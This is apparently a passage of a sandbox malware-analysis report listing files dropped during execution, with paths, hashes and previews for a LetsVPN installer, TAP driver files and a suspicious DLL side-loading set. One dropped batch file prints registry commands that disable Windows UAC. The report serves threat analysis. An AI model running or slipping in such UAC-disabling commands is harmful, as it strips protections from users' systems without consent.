SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\tap0901.cat (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

C:\Users\user\AppData\Local\Temp\{eaec0754-a7e2-6546-934e-9da987d97cde}\tap0901.sys (copy)

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39920
Entropy (8bit):	6.338128217115975
Encrypted:	false
SSDEEP:	768:XtCuL1O/+AphG3F9NlXt5oZhDzbV104mmuiExsFwQvYp33U35:XdCoTxk1lmmjExsFNvYtk
MD5:	C10CCDEC5D7AF458E726A51BB3CDC732
SHA1:	0553AAB8C2106ABB4120353360D747B0A2B4C94F
SHA-256:	589C5667B1602837205DA8EA8E92FE13F8C36048B293DF931C99B39641052253
SHA-512:	7437C12AE5B31E389DE3053A55996E7A0D30689C6E0D10BDE28F1FBF55CEE42E65AA441B7B82448334E725C0899384DEE2645CE5C311F3A3CFC68E42AD046981
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......_.........."......Z.....................@....................................=w....`A....................................................<.......X....p..T....x...#...........R..8............................S...............P...............................text..._>.......@.................. ..h.rdata.......P.......D..............@..H.data........`.......P..............@....pdata..T....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\LetsVPN.lnk

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed May 8 12:29:30 2024, mtime=Sat Jul 20 08:52:40 2024, atime=Wed May 8 12:29:30 2024, length=247272, window=hide
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	4.655856356644209
Encrypted:	false
SSDEEP:	24:8mG/34bFIERdOE48giAsu1dyOd/UUUYUrqygm:8mG/34bZRdOGgBsu1dyOdsYyg
MD5:	34DC414307FB65A18E1184748422DD40
SHA1:	5C1597F82335515E5F80CD2D5DA7BF87BEB246F1
SHA-256:	DE03AB3643D95A951245CECA6147FDF2BE289380F9D16E559885E3F8441FBAAE
SHA-512:	F68A841AD75BEB3893D6BEF1A5C953C2B9EB2217C2A62142474FE250F758162D08D4618ADA4311F42BFBC40BDC4EE46D600CD5ED8967C01E7872533818283941
Malicious:	false
Preview:	L..................F.... .....c.K....V!.......c.K................................P.O. .:i.....+00.../C:\.....................1......X.N..PROGRA~2.........O.I.X.N....................V......W'.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....V.1......X.N..letsvpn.@.......X.N.X.N..../.....................K...l.e.t.s.v.p.n.....b.2......X.k .LetsPRO.exe.H......X.k.X.N....>.........................L.e.t.s.P.R.O...e.x.e.......Y...............-.......X............Q.[.....C:\Program Files (x86)\letsvpn\LetsPRO.exe..B.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.L.e.t.s.P.R.O...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z\|...K.J.........`.......X.......134349...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\Uninstall.lnk

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hide
Category:	dropped
Size (bytes):	824
Entropy (8bit):	3.377677862485207
Encrypted:	false
SSDEEP:	12:8wl0Va/ledp8A/LK4YRMbdpYgRtbdpYqQ/CNUvH4t2YZ/elFlSJm:8BdOAW4Y+djXdYOUFqy
MD5:	0011458DE2BFE4556889186A69473E2A
SHA1:	03B075F79791A3EA20E0CA82DC375F1E980C4386
SHA-256:	DB3312C1A2D480E1416930D0F28A1EDA75143B3FDF312C1F19510534FD37B9FA
SHA-512:	DA5DD6E5A253F13702DEB42BBA8E37349CB262F311D557B8891AD761387AF2B96B6B91E4BF7E637D3A7C14E2BFE61E476E44703417DE79930B210243A1B20082
Malicious:	false
Preview:	L..................F........................................................_....P.O. .:i.....+00.../C:\...................z.1...........Program Files (x86).X............................................P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...".V.1...........letsvpn.@............................................l.e.t.s.v.p.n.....`.2...........uninst.exe..F............................................u.n.i.n.s.t...e.x.e.......A.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.u.n.i.n.s.t...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z\|...K.J.....................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

C:\Users\user\AppData\Roaming\R62ra.bat

Download File

Process:	C:\Users\user\Desktop\KLL.exe
File Type:	ASCII text, with CR, LF line terminators
Category:	dropped
Size (bytes):	392
Entropy (8bit):	5.141040221765098
Encrypted:	false
SSDEEP:	12:jLMVjhR1mWEMlTLMVjhR1ZTLMVjhR16Xn:jIV1PMmIV1PZIV1P6X
MD5:	30D6EB22D6AEEC10347239B17B023BF4
SHA1:	E2A6F86D66C699F6E0FF1AC4E140AF4A2A4637D1
SHA-256:	659DF6B190A0B92FC34E3A4457B4A8D11A26A4CAF55DE64DFE79EB1276181F08
SHA-512:	500872C3F2F3F801EC51717690873194675CB7F32CC4A862C09D90C18638D364D49B0E04C32323F52734E5C806E3503A63AC755C7019D762786A72840123DF76
Malicious:	false
Preview:	reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t reg_dword /d 0 /F ..reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t reg_dword /d 0 /F ..reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t reg_dword /d 0 /F ..

C:\Users\user\Desktop\LetsVPN.lnk

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Archive, ctime=Wed May 8 12:29:30 2024, mtime=Sat Jul 20 08:52:45 2024, atime=Wed May 8 12:29:30 2024, length=247272, window=hide
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	4.687873062050527
Encrypted:	false
SSDEEP:	24:8mG/M4bFIERdOE4bp1jiAsuXdyOd/UUUYUrqygm:8mG/M4bZRdOxjBsuXdyOdsYyg
MD5:	D1BB2AC7021E1744106602E78B3918C2
SHA1:	983901508905156BFA48D93E477C568CAFFFA7CA
SHA-256:	3ECBBF68DDC114CCFF00C58CE2E1DDFC7055C69EC311C26D27C631F64A19CDC4
SHA-512:	0B2281B4540916CC90899005B96D6E38BDCBA5AD594F19321BC44ACC7B05C281B62B2F27459FB72F92CA8484A44566084B0BEA105111C5CBF2A2EB2608D3B8B6
Malicious:	false
Preview:	L..................F.... .....c.K...'.%.......c.K................................P.O. .:i.....+00.../C:\.....................1......X.N..PROGRA~2.........O.I.X.N....................V......W'.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.)...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.7.....V.1......X.N..letsvpn.@.......X.N.X.N..../.....................E$r.l.e.t.s.v.p.n.....b.2......X.k .LetsPRO.exe.H......X.k.X.N....>.........................L.e.t.s.P.R.O...e.x.e.......Y...............-.......X............Q.[.....C:\Program Files (x86)\letsvpn\LetsPRO.exe..0.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.\.L.e.t.s.P.R.O...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.l.e.t.s.v.p.n.........*................@Z\|...K.J.........`.......X.......134349...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9

C:\Users\user\Videos\1A95102B~m7\Ipwmpcb.exe

Download File

Process:	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	99904
Entropy (8bit):	6.435962118124312
Encrypted:	false
SSDEEP:	1536:xvQ8DfZL6Gp/N6EZZtS/PG4/L1VOKFcbXWIJJffAgv:xvQ8DZ2vEZZtS3FxVRiGCfhv
MD5:	8AA07B7C6C632F4EDF07A0E2B91F8566
SHA1:	2E72D725A845B532C19A422FB32DEB629F53C824
SHA-256:	DD8BFBB25430E7F19E24234494324264BE98AC0CC20B239E18B4DD35E26EC1BC
SHA-512:	A9B3EB0B0EAFC53ACE21E30C12CCB64B9FC152CDF52A4A2C0B395DC6F9D20181B3006DCE14A16226DF9010A68673BB71656D8A95AC0597A12D05C99D15E3F909
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+..E+..E+..E8.D)..E8.D'..Ej..D)..E8.D/..E8.D5..E"..E2..E+..E...Ej..D..Ej..D,..Ej.sE..E+..E..Ej..D..ERich+..E........................PE..L....)a[..........................................@.................................].....@.................................h...,.... ..H_...........r..@...............p........................... ...@...............T............................text.............................. ..`.rdata...n.......p..................@..@.data...............................@....rsrc...H_... ...`..................@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\Videos\1A95102B~m7\SK.TXT

Download File

Process:	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe
File Type:	data
Category:	dropped
Size (bytes):	209640
Entropy (8bit):	7.999177905030001
Encrypted:	true
SSDEEP:	6144:dBzfkb8g9kic/0KgHkNi+TbB+MoT/yMQHH9s:dBDkgghcTgeTbHRMQna
MD5:	679448E9A47B9C959EF182C26EF2897B
SHA1:	0078996EC17F33E266295085AA04CF3F1B45B7F5
SHA-256:	384D6FD29F7D0A290DA1F564CF4FE7EF47DCB2B3FE3F676C12876C32DBC1D9A0
SHA-512:	68D3AA5F4758AB036FE805EE29F41B7DFB5CF1637C1E37BB1F5D1498CE4756C85F244998488B82335DD4F890B9E2C33FA28FCD637586BE9709E1D090EE6656C9
Malicious:	false
Preview:	...y.J..'........Q......."..5A..!j/s4BC.b.`.f.u.l..T.~....f?#.):.Sl.`.A.........0.N4%q.5.].tm..U........<...o.s}.....8Pz..r{.L.S_._x......a.....(<...H4O.(...N...K. ..<_.VS....,..P..~w...~........-.J..4S.>...{..fSV..0....8..._F...(D...(....p..kYF.L.I.CE..2=.....#.3I...Q..rc.>.z.w7hU....T..f..r8.).) X:&1qd.R.L.G.........E.n.R.w.Y.)cT...^..>....U.Z...O!y.1I)..J.....U.....5..6.). U.....!..f...V....&....x..%..b`VE..'i.......a....<....J.-W....N...#p......"./.d..98.(..0A@.9..6..s..W8us..u.#;rf..m..y..c}by .>.R.i..c...T...MlS...Qh....RT.e..z.ex"......(...;...S.S..R.1%i!.o....d.cm....f.`m..c..bpV..x..~@.w.....#.YJo.g p..V...Hm.)0..t...G.s...4..y.f.sb8)........K?......-...Y..lD.G...K.M...6........w....T..#.B..o..$...........Cy.....xC.eF`b...]...~..Q..C.....U}.Nb..K.....L.pr..R!.?...$q..N._d..+@.c...A..-f -...X.'[.....I...\..i.[.J..g.AU....oK.D.........kA.1....6;Eq..Dz`:......R....G.._&..J.e_.v..:.&.Go....\|"1.U.,~A.;.._P2.0.....p......BX....gW.~

C:\Users\user\Videos\1A95102B~m7\msvcp140.dll

Download File

Process:	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	439608
Entropy (8bit):	6.652249319015373
Encrypted:	false
SSDEEP:	12288:oAoA7hbarg71r4RzfxjJhUgiW6QR7t5s03Ooc8dHkC2esq0Ju:oAoAN3r0Bm03Ooc8dHkC2eT0Ju
MD5:	1D8C79F293CA86E8857149FB4EFE4452
SHA1:	7474E7A5CB9C79C4B99FDF9FB50EF3011BEF7E8F
SHA-256:	C09B126E7D4C1E6EFB3FFCDA2358252CE37383572C78E56CA97497A7F7C793E4
SHA-512:	83C4D842D4B07BA5CEC559B6CD1C22AB8201941A667E7B173C405D2FC8862F7E5D9703E14BD7A1BABD75165C30E1A2C95F9D1648F318340EA5E2B145D54919B1
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U.C.4...4...4..t.I..4...L...4..Lm...4...4...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm...4..Lm}..4..Lm...4..Rich.4..........................PE..L.....U.........."!................ ........ ...........................................@A.........................A.......R..,....................v..8?.......:..0g..8............................)..@............P......P>..@....................text..."........................... ..`.data....'... ......................@....idata..2....P......................@..@.didat..4....p.......4..............@....rsrc................6..............@..@.reloc...:.......<...:..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\Videos\1A95102B~m7\uc_guilib.dll

Download File

Process:	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2798592
Entropy (8bit):	6.785357408096823
Encrypted:	false
SSDEEP:	49152:Cy2L/kje8OFJG+yk87AGuWl4vZ8EsHv1dL//e7qJ5pv:92jkje8KM+ykyAGuWl4h5sHv1N/
MD5:	222FC00C04823BAAEF6EA2406082DB6E
SHA1:	B4042DAFBD8DED61C64C8ED69B8DC06710950A01
SHA-256:	90BA55338412BFF084A981F67DA7FF07333C339C1965CFA23832442532247C50
SHA-512:	65C99E567C9BE76C94553DE46DE5F7B6C079630921A063897DC8C4EA0D7C2EC34634A2004F5C10135AD18A38BDB35E92CF3161638B3855E2C9D2216B3EE74877
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.K.M...M...M..5....M..5...$M..5....M...5d..M...5c..M...5s..M...M..~O..,....M..,....M..,....L..4....M..4....M..4....M...Mw..M..4....M..Rich.M..........PE..L....C.f...........!.........F......\........0................................,...........@...........................#.....L.%.@......H1...................@.d\|...C!.8...................tD!......D!.@............0..P............................text............................... ..`.rdata.......0......."..............@..@.data........ &..T....&.............@....gfids..h....0(......^&.............@..@.giats........).......(.............@..@.tls..........).......(.............@....rsrc...H1......2....(.............@..@.reloc..d\|...@..~...6(.............@..B........................................................................................................................................................

C:\Users\user\Videos\1A95102B~m7\vcruntime140.dll

Download File

Process:	C:\ProgramData\33100\Wo077~m7\uc_ctrl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85328
Entropy (8bit):	6.8770791315221285
Encrypted:	false
SSDEEP:	1536:BTXU4YQD+JZoxeu8zIrBj3hGzHRb3izsQe1o8jsu0gD/TecbOjc8WsaBmiK:pXUlQDeexZTBozHRb3izsQe1o8E8ecbg
MD5:	B77EEAEAF5F8493189B89852F3A7A712
SHA1:	C40CF51C2EADB070A570B969B0525DC3FB684339
SHA-256:	B7C13F8519340257BA6AE3129AFCE961F137E394DDE3E4E41971B9F912355F5E
SHA-512:	A09A1B60C9605969A30F99D3F6215D4BF923759B4057BA0A5375559234F17D47555A84268E340FFC9AD07E03D11F40DD1F3FB5DA108D11EB7F7933B7D87F2DE3
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^$Y..E7W.E7W.E7W..W.E7W.=.W.E7W.E6W3E7W..3V.E7W..4V.E7W..2V.E7W..?V.E7W..7V.E7W...W.E7W..5V.E7WRich.E7W........................PE..L.....U.........."!......... ...............................................P......r.....@A........................`................0..................P?...@....... ..8...........................X ..@............................................text...t........................... ..`.data...............................@....idata..............................@..@_RDATA....... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................

C:\Windows\INF\oem4.inf

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Windows\INF\setupapi.dev.log

Download File

Process:	C:\Program Files (x86)\letsvpn\driver\tapinstall.exe
File Type:	Generic INItialization configuration [BeginLog]
Category:	dropped
Size (bytes):	58304
Entropy (8bit):	5.207863365073568
Encrypted:	false
SSDEEP:	384:OGdni80C/8g0atRf7yr14ujuNY9AZi3Z/oUtwrP3UQGSE25494eaz5ZiOOjo:Own95cdyYloiwTyz25QavOU
MD5:	EAFC096CB3A57D86B5D227306F0AEEEE
SHA1:	CCF24EA4A88DB48CD93D5F82D56F6C0EA8C8FF52
SHA-256:	850FAB01C2F4B3404B521C0937BA4D3B2AB464C142395C5E77A9C1320C81F50B
SHA-512:	6F40E1BCCDF00CA0434611CDF98516CB1D9F6483606333D097E4DE62380442AED79E7071E8E25B4308BF0BA5399C210BB2AB891704BE18C5FFF2CE6470E202C6
Malicious:	false
Preview:	[Device Install Log].. OS Version = 10.0.19045.. Service Pack = 0.0.. Suite = 0x0100.. ProductType = 1.. Architecture = amd64....[BeginLog]....[Boot Session: 2023/10/03 09:57:02.288]....>>> [Setup Import Driver Package - C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf]..>>> Section start 2023/10/03 09:57:37.904.. cmd: C:\Windows\System32\spoolsv.exe.. inf: Provider: Microsoft.. inf: Class GUID: {4D36E979-E325-11CE-BFC1-08002BE10318}.. inf: Driver Version: 06/21/2006,10.0.19041.1806.. inf: Catalog File: prnms009.cat.. ump: Import flags: 0x0000000D.. pol: {Driver package policy check} 09:57:37.920.. pol: {Driver package policy check - exit(0x00000000)} 09:57:37.920.. sto: {Stage Driver Package: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf: {Query Configurability: C:\Windows\system32\spool\tools\Microsoft Print To PDF\prnms009.Inf} 09:57:37.920.. inf:

C:\Windows\Logs\NetSetup\service.0.etl

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	589824
Entropy (8bit):	0.38569279819628244
Encrypted:	false
SSDEEP:	192:hLZm8DmT1xMS92sICkjd0x5AUko5HOLboAcKYzFlgbmLOrw:hLvM7mjhRoZO/oAPo
MD5:	9E88EF0BF39D8135F117928F14005117
SHA1:	2BF2B04BC0B637CA7BB48C6C3D9E900A19232C46
SHA-256:	A904C13CDF28F45CB53477EC38D0CAC10A2556953063D6DE5303062F2A6A6F05
SHA-512:	9CB293999DE56C485C3A7307D327F26BDB96987664020367B041F5DDB7AF98E1D7E5039152D3CE58EE4D3F22BF16DF4A94D182890CB1663F561469BF4E257AC1
Malicious:	false
Preview:	....8...8.......................................P...!....................................?......................eJ......".f....Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.6.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.6.1...........................................................@K5..............?..............N.e.t.C.f.g.T.r.a.c.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.N.e.t.S.e.t.u.p.\.s.e.r.v.i.c.e...0...e.t.l.........P.P..........?..................................................................8.B..?......19041.1.amd64fre.vb_release.191206-1406.....5.@..?.........gP.......U..l....NetSetupShim.pdb.b......7.@..?.......I.[.8+m.!N8$......NetSetupEngine.pdb......4.@..?.........>*.....Nr8..a....NetSetupApi.pdb.........4.@..?.........E_iC...F........NetSetupSvc.pdb.............................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC972.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	Windows setup INFormation
Category:	dropped
Size (bytes):	7632
Entropy (8bit):	5.063558190257152
Encrypted:	false
SSDEEP:	192:wr8tW9yCTi3x4vlQd22bjR+iAUC7bMP+io3DcNSj6jvKFkPs7EQTXvt1Ld4Z:LWlGNdkkzo3DcNSj6jvKFkPs7EQTXvtk
MD5:	26009F092BA352C1A64322268B47E0E3
SHA1:	E1B2220CD8DCAEF6F7411A527705BD90A5922099
SHA-256:	150EF8EB07532146F833DC020C02238161043260B8A565C3CFCB2365BAD980D9
SHA-512:	C18111982CA233A7FC5D1E893F9BD8A3ED739756A47651E0638DEBB0704066AF6B25942C7961CDEEDF953A206EB159FE50E0E10055C40B68EB0D22F6064BB363
Malicious:	false
Preview:	; ***************************************************************************..; Copyright (C) 2002-2014 OpenVPN Technologies, Inc. ..; This program is free software; you can redistribute it and/or modify ..; it under the terms of the GNU General Public License version 2 ..; as published by the Free Software Foundation. ..; *************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*******************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

C:\Windows\System32\DriverStore\Temp\{77873dc6-6038-6d45-9b90-5097b5d9b5f5}\SETC992.tmp

Download File

Process:	C:\Windows\System32\drvinst.exe
File Type:	data
Category:	dropped
Size (bytes):	10739
Entropy (8bit):	7.214364446291792
Encrypted:	false
SSDEEP:	192:JDVLGVDFfap5UEwQl/WGhYCt17vJ4qnaj6jQc:7GCpzlnh3t1x4l2jn
MD5:	F73AC62E8DF97FAF3FC8D83E7F71BF3F
SHA1:	619A6E8F7A9803A4C71F73060649903606BEAF4E
SHA-256:	CC74CDB88C198EB00AEF4CAA20BF1FDA9256917713A916E6B94435CD4DCB7F7B
SHA-512:	F81F5757E0E449AD66A632299BCBE268ED02DF61333A304DCCAFB76B2AD26BAF1A09E7F837762EE4780AFB47D90A09BF07CB5B8B519C6FB231B54FA4FBE17FFE
Malicious:	false
Preview:	0.)....H........).0.)....1.0...`.H.e......0..i..+.....7.....Z0..V0...+.....7.......r?.X.M.....F.A..201008141946Z0...+.....7.....0..T0.... .....S!F.3....#.a.2`..e...#e...1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .....S!F.3....#.a.2`..e...#e...0...."~..m..8C. i$.4.l..1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... ..j(.M<.cR..XrT....F..R.]....?1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... ..j(.M<.cR..XrT....F..R.]....?0.....".....A.Rw..... .1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f.......0...0....+.

